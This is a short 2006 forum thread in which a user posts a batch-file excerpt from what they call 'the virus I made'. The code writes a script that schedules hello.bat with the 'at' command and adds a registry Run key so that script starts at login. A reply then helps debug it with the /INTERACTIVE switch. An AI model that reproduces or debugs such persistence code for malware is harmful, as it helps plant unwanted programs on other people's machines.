+ Reply to Thread
Results 1 to 3 of 3
Thread: Sceduling Events via batch files
-
08-03-2006, 03:35 PM #1
Registered User
- Join Date
- Jul 2006
- Posts
- 6
Sceduling Events via batch files
I'm trying to make a batch file set events and runs them, but it's not working. Here's the excerpt of code from the virus I made that deals with sceduling events:
This doesn't work, and it's very odd. When I execute the code, sceduled events will appear in Control Panel/Sceduled Tasks, but when the time comes for them to execute, they don't do anything. They just say "Running", while they aren't running anything.Code:echo @echo off >> "%userprofile%\setvents.bat" echo at 13:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat" echo at 13:37 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat" echo at 15:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat" echo at 17:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat" echo at 19:00 /EVERY:M,T,W,Th,F,Sa "%userprofile%\hello.bat" >> "%userprofile%\setvents.bat" REM Sceduling Events REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "DailyToon" /d "%userprofile%\setvents.bat" /f cls
I was trying to debug this and I changed "%userprofile%\hello.bat" to "sol.exe". No Solitare popped up, but a process in the background named "sol.exe" started to run. I don't get it.
Thanks for reading, and I hope you can help.
-
08-03-2006, 05:29 PM #2
Your missing the switch: /INTERACTIVE
Without it, the program runs in the background. I have also run into some privledge issues using the AT command to create a scheduled task, but try the interactive switch and see if that fixes things.[url=http://www.syntaxmaster.info/tools/services.php]Speed Up Windows XP[/url]
[url=http://www.syntaxmaster.info/tools/ip.php]Get An Ip Address[/url]
[url=http://www.syntaxmaster.info/tools/base_converter.php]Base Converter[/url]
--------------------------------
[URL=http://www.boninroad.com/syntaxmaster/]Old Site[/URL]
[URL=http://www.syntaxmaster.info]Comming Soon[/URL]
-
08-04-2006, 11:25 AM #3
Registered User
- Join Date
- Jul 2006
- Posts
- 6
Yeah, /INTERACTIVE solved my problem. Thanks.


Reply With Quote
